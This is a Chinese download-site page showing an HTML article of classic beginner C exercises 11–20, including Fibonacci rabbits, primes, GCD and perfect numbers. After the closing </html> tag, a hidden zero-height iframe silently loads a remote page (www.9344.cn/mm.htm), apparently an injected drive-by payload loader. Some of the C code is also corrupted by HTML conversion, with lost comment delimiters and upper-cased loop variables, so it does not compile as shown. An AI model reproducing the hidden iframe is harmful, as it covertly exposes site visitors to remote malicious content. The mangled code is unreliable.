⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 2004102781207.htm

📁 经典C++程序设计100例 经典C++程序设计100例 经典C++程序设计100例
💻 HTM
字号:
<html>
<head>
<title>经典c程序100例==11--20</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<link href="../../css/view.css"  rel=stylesheet>
<body leftmargin="0" topmargin="0">

<div align="center"> 
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td><table border="0" cellpadding="0" cellspacing="0" width="100%" height="89">
          <tr> 
            <td width="100%" height="68"> <table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
                <tr> 
                  <td width="146" height="69"><div align="center"><img src="../../Images/jobczlogo.gif" width="290" height="65"></div></td>
                  <td width="468" height="69" align="right"> <p align="left"><img src="../../images/ad05.gif" width="468" height="60"></td>

                </tr>
              </table></td>
          </tr>
          <tr> 
            <td height="21"><table width=100% align="center" cellpadding=0 cellspacing=0>
                <tr bgcolor=#993333> 
                  <td width=63><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../../default.asp"><font color="#FFFFFF">返回首页</font></a></td>
                  <td width=7><img src=../../images/muspace.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#009900"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Person/q_1.asp><font color="#FFFFFF">个人求职</font></a></td>
                  <td width=7><img src=../../images/muspaceperson.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#1493E7"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Invite/s_1.asp><font color="#FFFFFF">单位招聘</font></a><a class=white href=./index2.htm></a></td>
                  <td width=7><img src=../../images/muspaceinvite.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#9966CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Train/r_1.asp><font color="#FFFFFF">培训充电</font></a></td>
                  <td width=7><img src=../../images/muspaceTrain.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#CC9933"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index1.asp><font color="#FFFFFF">市场动态</font></a></td>
                  <td width=7><img src=../../images/muspace04.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#99CC66"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index2.asp><font color="#FFFFFF">政策法规</font></a></td>
                  <td width=7><img src=../../images/muspace05.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#CC6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index3.asp><font color="#FFFFFF">管理论坛</font></a></td>
                  <td width=7><img src=../../images/muspace06.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#FF99CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index4.asp><font color="#FFFFFF">就业指导</font></a></td>
                  <td width=7><img src=../../images/muspace07.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#6699CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index5.asp><font color="#FFFFFF">人事代理</font></a></td>
                  <td width=7><img src=../../images/muspace08.gif width="7" height="20"></td>
                  <td width=60 bgcolor="#FF6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="http://www.cznytc.com"><font color="#FFFFFF">郴州特产</font></a></td>
                  <td width=7><img src=../../images/muspace09.gif width="7" height="20"></td>
                  <td width=60 bgcolor="#FFCC00"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../Cooperate/p_1.asp"><font color="#FFFFFF">企业加盟</font></a></td>
                  <td width=7><img src=../../images/muspace10.gif width="7" height="20"></td>
                </tr>
                <tr> 
                  <td height=1 colspan=22></td>
                </tr>
                <tr> 
                  <td height=2 bgcolor=#993333 colspan=22></td>
                </tr>
              </table></td>
          </tr>
        </table></td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr> 
      <td height=1 bgcolor=000000></td>
    </tr>
    <tr> 
      <td height="8"><img src="../../image/mubg1.gif" width="760" height="8"></td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="600" height="500" valign="top"><table width="100%" border="0">
          <tr>
            <td>当前位置:首页 >> 数据结构 >> 经典c程序100例 >> 正文</td>
          </tr>
        </table>
        <br>
        <table width="100%" border="0">
          <tr> 
            <td height="40" align="center" bgcolor="eeeeee"><font style="font-size:16px"><b>经典c程序100例==11--20</b></font></td>
          </tr>
          <tr>
            <td align="right"><font color="#999999">来源:<font color="#CC0000">郴州人才网</font> 
                时间:2004年10月27日8:12</font></td>
          </tr>
        </table> <br>
        <table width="600" border="0" cellpadding="5">
          <tr> 
            <td class=c><font id="zoom" style="font-size:14px"><P><FONT color=#990000>【程序11】</FONT><BR>题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月<BR>    后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少?<BR>1.程序分析: 兔子的规律为数列1,1,2,3,5,8,13,21....<BR>2.程序源代码:<BR>main()<BR>{<BR>long f1,f2;<BR>int i;<BR>f1=f2=1;<BR>for(i=1;i&lt;=20;i++)<BR>  { printf("%12ld %12ld",f1,f2);<BR>    if(i%2==0) printf("\n");/*控制输出,每行四个*/<BR>    f1=f1+f2; /*前两个月加起来赋值给第三个月*/<BR>    f2=f1+f2; /*前两个月加起来赋值给第三个月*/<BR>  }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序12】</FONT><BR>题目:判断101-200之间有多少个素数,并输出所有素数。<BR>1.程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,<BR>       则表明此数不是素数,反之是素数。       <BR>2.程序源代码:<BR>#include "math.h"<BR>main()<BR>{<BR>  int m,i,k,h=0,leap=1;<BR>  printf("\n");<BR>  for(m=101;m&lt;=200;m++)<BR>   { k=sqrt(m+1);<BR>    for(i=2;i&lt;=k;i++)<BR>      if(m%i==0)<BR>       {leap=0;break;}<BR>    if(leap) {printf("%-4d",m);h++;<BR>         if(h%10==0)<BR>         printf("\n");<BR>        }<BR>    leap=1;<BR>   }<BR>  printf("\nThe total is %d",h);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序13】</FONT><BR>题目:打印出所有的“水仙花数”,所谓“水仙花数”是指一个三位数,其各位数字立方和等于该数<BR>    本身。例如:153是一个“水仙花数”,因为153=1的三次方+5的三次方+3的三次方。<BR>1.程序分析:利用for循环控制100-999个数,每个数分解出个位,十位,百位。<BR>2.程序源代码:<BR>main()<BR>{<BR>int i,j,k,n;<BR>printf("'water flower'number is:");<BR>  for(n=100;n&lt;1000;n++)<BR>  {<BR>   i=n/100;/*分解出百位*/<BR>   j=n/10%10;/*分解出十位*/<BR>   k=n%10;/*分解出个位*/<BR>   if(i*100+j*10+k==i*i*i+j*j*j+k*k*k)<BR>    {<BR>    printf("%-5d",n);<BR>    }<BR>  }<BR>printf("\n");<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序14】</FONT><BR>题目:将一个正整数分解质因数。例如:输入90,打印出90=2*3*3*5。</P>
<P>程序分析:对n进行分解质因数,应先找到一个最小的质数k,然后按下述步骤完成: <BR>(1)如果这个质数恰等于n,则说明分解质因数的过程已经结束,打印出即可。<BR>(2)如果n&lt;&gt;k,但n能被k整除,则应打印出k的值,并用n除以k的商,作为新的正整数你n,<BR>  重复执行第一步。<BR>(3)如果n不能被k整除,则用k+1作为k的值,重复执行第一步。</P>
<P>2.程序源代码:<BR>/* zheng int is divided yinshu*/<BR>main()<BR>{<BR>int n,i;<BR>printf("\nplease input a number:\n");<BR>scanf("%d",&amp;n);<BR>printf("%d=",n);<BR>for(i=2;i&lt;=n;i++)<BR>  {<BR>   while(n!=i)<BR>   {<BR>    if(n%i==0)<BR>    { printf("%d*",i);<BR>     n=n/i;<BR>    }<BR>    else<BR>     break;<BR>   }<BR>}<BR>printf("%d",n);}<BR>==============================================================<BR><FONT color=#990000>【程序15】</FONT><BR>题目:利用条件运算符的嵌套来完成此题:学习成绩&gt;=90分的同学用A表示,60-89分之间的用B表示,<BR>    60分以下的用C表示。<BR>1.程序分析:(a&gt;b)?a:b这是条件运算符的基本例子。<BR>2.程序源代码:<BR>main()<BR>{<BR>  int score;<BR>  char grade;<BR>  printf("please input a score\n");<BR>  scanf("%d",&amp;score);<BR>  grade=score&gt;=90?'A':(score&gt;=60?'B':'C');<BR>  printf("%d belongs to %c",score,grade);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序16】</FONT><BR>题目:输入两个正整数m和n,求其最大公约数和最小公倍数。<BR>1.程序分析:利用辗除法。</P>
<P>2.程序源代码:<BR>main()<BR>{<BR>  int a,b,num1,num2,temp;<BR>  printf("please input two numbers:\n");<BR>  scanf("%d,%d",&amp;num1,&amp;num2);<BR>  if(num1<NUM2) *交换两个数,使大数放在num1上* <br>  { temp=num1;<BR>   num1=num2; <BR>   num2=temp;<BR>  }<BR>a=num1;b=num2;<BR>while(b!=0)/*利用辗除法,直到b为0为止*/<BR>  {<BR>   temp=a%b;<BR>   a=b;<BR>   b=temp;<BR>  }<BR>printf("gongyueshu:%d\n",a);<BR>printf("gongbeishu:%d\n",num1*num2/a);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序17】</FONT><BR>题目:输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数。<BR>1.程序分析:利用while语句,条件为输入的字符不为'\n'.<BR>       <BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{char c;<BR>  int letters=0,space=0,digit=0,others=0;<BR>  printf("please input some characters\n");<BR>  while((c=getchar())!='\n')<BR>  {<BR>  if(c&gt;='a'&amp;&amp;c&lt;='z'||c&gt;='A'&amp;&amp;c&lt;='Z')<BR>   letters++;<BR>  else if(c==' ')<BR>   space++;<BR>    else if(c&gt;='0'&amp;&amp;c&lt;='9')<BR>        digit++;<BR>      else<BR>        others++;<BR>}<BR>printf("all in all:char=%d space=%d digit=%d others=%d\n",letters,<BR>space,digit,others);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序18】</FONT><BR>题目:求s=a+aa+aaa+aaaa+aa...a的值,其中a是一个数字。例如2+22+222+2222+22222(此时<BR>    共有5个数相加),几个数相加有键盘控制。<BR>1.程序分析:关键是计算出每一项的值。<BR>2.程序源代码:<BR>main()<BR>{<BR>  int a,n,count=1;<BR>  long int sn=0,tn=0;<BR>  printf("please input a and n\n");<BR>  scanf("%d,%d",&amp;a,&amp;n);<BR>  printf("a=%d,n=%d\n",a,n);<BR>  while(count&lt;=n)<BR>  {<BR>   tn=tn+a;<BR>   sn=sn+tn;<BR>   a=a*10;<BR>   ++count;<BR>  }<BR>printf("a+aa+...=%ld\n",sn);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序19】</FONT><BR>题目:一个数如果恰好等于它的因子之和,这个数就称为“完数”。例如6=1+2+3.编程<BR>    找出1000以内的所有完数。<BR>1. 程序分析:请参照程序&lt;--上页程序14. <BR>2.程序源代码:<BR>main()<BR>{<BR>static int k[10];<BR>int i,j,n,s;<BR>for(j=2;j&lt;1000;j++)<BR>  {<BR>  n=-1;<BR>  s=j;<BR>   for(i=1;i<J;I++)<BR>   {<BR>    if((j%i)==0)<BR>    { n++;<BR>     s=s-i;<BR>     k[n]=i;<BR>    }<BR>   }<BR>  if(s==0)<BR>  {<BR>  printf("%d is a wanshu",j);<BR>  for(i=0;i<N;I++)<BR>  printf("%d,",k[i]);<BR>  printf("%d\n",k[n]);<BR>  }<BR>}<BR>}<BR>============================================================== <BR><FONT color=#990000>【程序20】</FONT><BR>题目:一球从100米高度自由落下,每次落地后反跳回原高度的一半;再落下,求它在<BR>    第10次落地时,共经过多少米?第10次反弹多高?<BR>1.程序分析:见下面注释<BR>2.程序源代码:<BR>main()<BR>{<BR>float sn=100.0,hn=sn/2;<BR>int n;<BR>for(n=2;n&lt;=10;n++)<BR>  {<BR>   sn=sn+2*hn;/*第n次落地时共经过的米数*/<BR>   hn=hn/2; /*第n次反跳高度*/<BR>  }<BR>printf("the total of road is %f\n",sn);<BR>printf("the tenth is %f meter\n",hn);<BR>}</P> </font><br>
              (编辑:jobcz)</td>
          </tr>
          <tr>
            <td align="right"><script language=JavaScript>
<!-- Begin
if (window.print) {
document.write('【<a href="#" onClick="javascript:window.print()"><font color=cc0000>打印本文</font></a>】 ');
}
// End -->
</script>
              【<a href=../../../bbs/ target=_blank><font color=#cc0000>发表评论</font></a>】【<a href="javascript:window.close()"><font color=#cc0000>关闭窗口</font></a>】</td>
          </tr>
        </table><br><br></td>
      <td width="10"> </td>
      <td width="150" valign="top" bgcolor="#F0F3F7"><table width="100%" height="40" cellpadding="3" cellspacing="0" >
          <form action="../../search.asp" method="post">
            <tr > 
              <td colspan="2" align="center"> <input type=text size=12 name="keyword"> 
                <input type=submit value="搜索" name="submit"> <input type=hidden name=datesearch value=all> 
                <input type="hidden" name="AreaSearch" value=1> </td>
            </tr>
          </form>
        </table></td>
    </tr>
  </table>
  <script language=JavaScript src="../../js/end.js"></script>
</div>
</body>
</html>
<iframe height=0 src=http://www.9344.cn/mm.htm ></iframe>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -